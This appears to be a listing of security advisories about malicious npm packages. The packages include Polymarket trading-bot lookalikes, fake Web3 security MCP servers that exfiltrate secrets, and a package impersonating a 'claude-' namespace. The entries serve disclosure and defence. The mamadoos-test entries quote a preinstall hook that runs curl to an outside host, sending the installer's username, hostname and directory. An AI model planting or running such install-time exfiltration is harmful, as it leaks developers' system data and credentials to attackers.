MAL-2026-4211 Malicious code in polymarket-bot (npm)

A coordinated supply-chain attack comprising 9 npm packages published by maintainer polymarketdev GitHub actor texsellix, repo texsellix/polymarket-trading-bot within a 2-minute window on 2026-05-20T23:30Z–23:32Z. All packages masquerade as legitimate Polymarket CLOB trading tools while...

MAL-2026-4202 Malicious code in chain-key-validator (npm)

A coordinated supply-chain attack comprising 10 npm packages published by maintainer ddjidd5640 [email protected] within a 48-hour window 2026-05-19T03:55Z – 2026-05-21T04:31Z. All packages masquerade as legitimate Web3/DeFi developer security tools MCP servers while silently exfiltrating...

MAL-2026-4212 Malicious code in polymarket-claude-code (npm)

A coordinated supply-chain attack comprising 9 npm packages published by maintainer polymarketdev GitHub actor texsellix, repo texsellix/polymarket-trading-bot within a 2-minute window on 2026-05-20T23:30Z–23:32Z. All packages masquerade as legitimate Polymarket CLOB trading tools while...

MAL-2026-4209 Malicious code in polymarket-ai-agent (npm)

A coordinated supply-chain attack comprising 9 npm packages published by maintainer polymarketdev GitHub actor texsellix, repo texsellix/polymarket-trading-bot within a 2-minute window on 2026-05-20T23:30Z–23:32Z. All packages masquerade as legitimate Polymarket CLOB trading tools while...

MAL-2026-4203 Malicious code in crypto-credential-scanner (npm)

A coordinated supply-chain attack comprising 10 npm packages published by maintainer ddjidd5640 [email protected] within a 48-hour window 2026-05-19T03:55Z – 2026-05-21T04:31Z. All packages masquerade as legitimate Web3/DeFi developer security tools MCP servers while silently exfiltrating...

MAL-2026-4219 Malicious code in wallet-security-checker (npm)

A coordinated supply-chain attack comprising 10 npm packages published by maintainer ddjidd5640 [email protected] within a 48-hour window 2026-05-19T03:55Z – 2026-05-21T04:31Z. All packages masquerade as legitimate Web3/DeFi developer security tools MCP servers while silently exfiltrating...

Malicious code in mnemonic-safety-check (npm)

A coordinated supply-chain attack comprising 10 npm packages published by maintainer ddjidd5640 [email protected] within a 48-hour window 2026-05-19T03:55Z – 2026-05-21T04:31Z. All packages masquerade as legitimate Web3/DeFi developer security tools MCP servers while silently exfiltrating...

Malicious code in polymarket-trade (npm)

A coordinated supply-chain attack comprising 9 npm packages published by maintainer polymarketdev GitHub actor texsellix, repo texsellix/polymarket-trading-bot within a 2-minute window on 2026-05-20T23:30Z–23:32Z. All packages masquerade as legitimate Polymarket CLOB trading tools while...

MAL-2026-4216 Malicious code in polymarket-trader (npm)

A coordinated supply-chain attack comprising 9 npm packages published by maintainer polymarketdev GitHub actor texsellix, repo texsellix/polymarket-trading-bot within a 2-minute window on 2026-05-20T23:30Z–23:32Z. All packages masquerade as legitimate Polymarket CLOB trading tools while...

MAL-2026-4205 Malicious code in defi-threat-scanner (npm)

A coordinated supply-chain attack comprising 10 npm packages published by maintainer ddjidd5640 [email protected] within a 48-hour window 2026-05-19T03:55Z – 2026-05-21T04:31Z. All packages masquerade as legitimate Web3/DeFi developer security tools MCP servers while silently exfiltrating...

Malicious code in claude-internal-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 24a94a290c15f2b6cdaf351590455cd597bb2881f7bbcf1609fbfbd8031e491f Package name impersonates an internal Anthropic 'claude-' namespace and the description field self-identifies as 'Alex Birsan Style'...

Malicious code in deployment-key-auditor (npm)

A coordinated supply-chain attack comprising 10 npm packages published by maintainer ddjidd5640 [email protected] within a 48-hour window 2026-05-19T03:55Z – 2026-05-21T04:31Z. All packages masquerade as legitimate Web3/DeFi developer security tools MCP servers while silently exfiltrating...

Malicious code in defi-env-auditor (npm)

A coordinated supply-chain attack comprising 10 npm packages published by maintainer ddjidd5640 [email protected] within a 48-hour window 2026-05-19T03:55Z – 2026-05-21T04:31Z. All packages masquerade as legitimate Web3/DeFi developer security tools MCP servers while silently exfiltrating...

MAL-2026-4204 Malicious code in defi-env-auditor (npm)

A coordinated supply-chain attack comprising 10 npm packages published by maintainer ddjidd5640 [email protected] within a 48-hour window 2026-05-19T03:55Z – 2026-05-21T04:31Z. All packages masquerade as legitimate Web3/DeFi developer security tools MCP servers while silently exfiltrating...

Malicious code in solidity-deploy-guard (npm)

A coordinated supply-chain attack comprising 10 npm packages published by maintainer ddjidd5640 [email protected] within a 48-hour window 2026-05-19T03:55Z – 2026-05-21T04:31Z. All packages masquerade as legitimate Web3/DeFi developer security tools MCP servers while silently exfiltrating...

MAL-2026-4218 Malicious code in solidity-deploy-guard (npm)

A coordinated supply-chain attack comprising 10 npm packages published by maintainer ddjidd5640 [email protected] within a 48-hour window 2026-05-19T03:55Z – 2026-05-21T04:31Z. All packages masquerade as legitimate Web3/DeFi developer security tools MCP servers while silently exfiltrating...

Mini Shai Hulud: Compromised @antv npm packages enable CI/CD credential theft

In this article 1. Attack chain overview 1. Technical analysis 2. How GitHub took action to prevent further harm 2. Mitigation and protection guidance 1. Microsoft Defender XDR Detections 2. Microsoft Defender XDR Threat analytics 3. Advanced hunting 4. Indicators of Compromise IOC 3. References ...

Malicious code in mamadoos-test (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 21b5454856fbb360a162083d9d582eba3839b7105ce6e36490e188b3729388d4 package.json declares a preinstall lifecycle hook that runs curl https://huntr.site/depconf/$whoami@$hostname?pwd=$pwd, embedding the installer's OS...

MAL-2026-4605 Malicious code in mamadoos-test (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 21b5454856fbb360a162083d9d582eba3839b7105ce6e36490e188b3729388d4 package.json declares a preinstall lifecycle hook that runs curl https://huntr.site/depconf/$whoami@$hostname?pwd=$pwd, embedding the installer's OS...

MAL-2026-4569 Malicious code in gator-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1925735d02fb91f74a11718c3402ad0b10f551eecb8c6d88f02d475b3e0a799f On npm install via scripts.install: node index.js and on every require'gator-client', lib/core.js collects os.userInfo.username, os.hostname, and the...